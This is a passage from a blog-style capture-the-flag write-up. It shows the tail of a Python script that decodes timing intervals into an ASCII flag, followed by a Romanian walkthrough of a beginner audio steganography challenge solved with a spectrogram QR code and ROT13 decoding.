    0.100446, 0.100244, 0.500149, 0.500171, 0.100388, 0.100277, 0.100626, 0.100742,
    0.100222, 0.100566, 0.500247, 0.500619, 0.100804, 0.100543, 0.100431, 0.100489,
    0.10044, 0.500312, 0.500209, 0.100593, 0.100406, 0.100472, 0.500179, 0.100472,
    0.100347, 0.10064, 0.500507, 0.500357, 0.100382, 0.100623, 0.100152, 0.100695,
    0.100706, 0.10078, 0.500526, 0.500158, 0.100488, 0.500576, 0.100581, 0.500639,
    0.100298, 0.10098, 0.500796, 0.500255, 0.100724, 0.500347, 0.100406, 0.5006,
    0.100362, 0.100227, 0.500498, 0.500607, 0.100296, 0.500186, 0.500559, 0.100298,
    0.100713, 0.500664, 0.500298, 0.100494, 0.100203, 0.500642, 0.100533, 0.10042,
    0.100251, 0.100544, 0.500608, 0.50042, 0.100797, 0.500836, 0.500293, 0.500217,
    0.100616, 0.100477, 0.500616, 0.500541, 0.100205, 0.500232, 0.500518, 0.100559,
    0.100558, 0.1002, 0.500631, 0.500576, 0.100428, 0.50044, 0.100739, 0.100345,
    0.100298, 0.100588, 0.500402, 0.500151, 0.500224, 0.10035, 0.100713, 0.100217,
    0.100337, 0.100289, 0.500298, 0.500288, 0.100483, 0.100347, 0.100171, 0.100181,
    0.100226, 0.100598, 0.500583, 0.500648, 0.100369, 0.100464, 0.100281, 0.100155,
    0.100305, 0.500752, 0.500359, 0.100376, 0.10052, 0.100398, 0.500913, 0.100205,
    0.100169, 0.500587, 0.500463, 0.10035, 0.100748, 0.100436, 0.500615, 0.500627,
    0.100182, 0.100516, 0.500695, 0.500591, 0.10054, 0.500701, 0.500711, 0.500489,
    0.100672, 0.100448, 0.500654, 0.500528, 0.100221, 0.500203, 0.100693, 0.500576,
    0.100773, 0.100393, 0.500428, 0.500665, 0.100656, 0.100656, 0.500548, 0.10054,
    0.100414, 0.500383, 0.500268, 0.10039, 0.100444, 0.500199, 0.100416, 0.100163,
    0.10031, 0.100461, 0.500584, 0.500352, 0.100373, 0.500417, 0.500391, 0.100222,
    0.100524, 0.100352, 0.500605, 0.500669, 0.100343, 0.100502, 0.50056, 0.500236,
    0.100322, 0.500289, 0.500429, 0.100184, 0.100329, 0.500229, 0.100213, 0.500208,
    0.100617, 0.500525, 0.500375, 0.100368, 0.100581, 0.100209, 0.500549, 0.500191,
    0.100534, 0.500261, 0.50059, 0.100518, 0.100527, 0.500439, 0.100695, 0.100197,
    0.10049, 0.500307, 0.500225, 0.100177, 0.100204, 0.100705, 0.100565, 0.500534,
    0.100502, 0.500639, 0.5002, 0.100473, 0.100701, 0.500343, 0.100218, 0.500619,
    0.100549, 0.500554, 0.500207, 0.500267, 0.500408, 0.500288, 0.100616
]

threshold = 0.18

binary_data = ''.join(['1' if i > threshold else '0' for i in intervals])

print("Binary Data:")
print(binary_data)

ascii_data = ''.join([chr(int(binary_data[i:i+8], 2)) for i in range(0, len(binary_data), 8)])
ascii_data = ascii_data[:-1] + "}"
print("\nDecoded ASCII:")
print(ascii_data)

Digital Dust - Unraveling (Steganography)

Descriere:

1
2
3
4
Salut! Ești acum un investigator începător în lumea criminalisticii digitale și ai primit prima ta misiune importantă! Mentorul tău ți-a dat un fișier audio interesant pentru analiză. După ce s-a uitat puțin la el, mentorul bănuiește că cineva a ascuns o parolă secretă în acest fișier folosind o tehnică numită steganografie.

Misiunea ta, dacă alegi să o accepți, este să descoperi parola ascunsă și să răspunzi la câteva întrebări despre această investigație digitală. Succes!

Solutie

Fiind un challange de steganografie primul lucru la care m-am gândit este sa ma uit la spectrograma acestui fisier audio. Am deschis Audacity si s-a dovedit ca am avut dreptate.

Image

Pentru a face codul qr mai vizibil am intrat în setările spectrogramei unde am setat scale: Linear și scheme: Inverse grayscale

Image

Am facut un screenshot micsorat al codului qr si l-am uplodat pe Qr Scanner unde am gasit si textul salvat.

Image

Pentru a găsi cifrul folosit pentru a encoda mesajul CyberChef m-a ajutat enorm. Asa am gasit ca procesul de encodare este ROT13, un algoritm cruptografic de tip substitutie. Parola obtinuta dupa decodarea mesajului este welcome_to_OSC.

Image

This post is licensed under CC BY 4.0 by the author.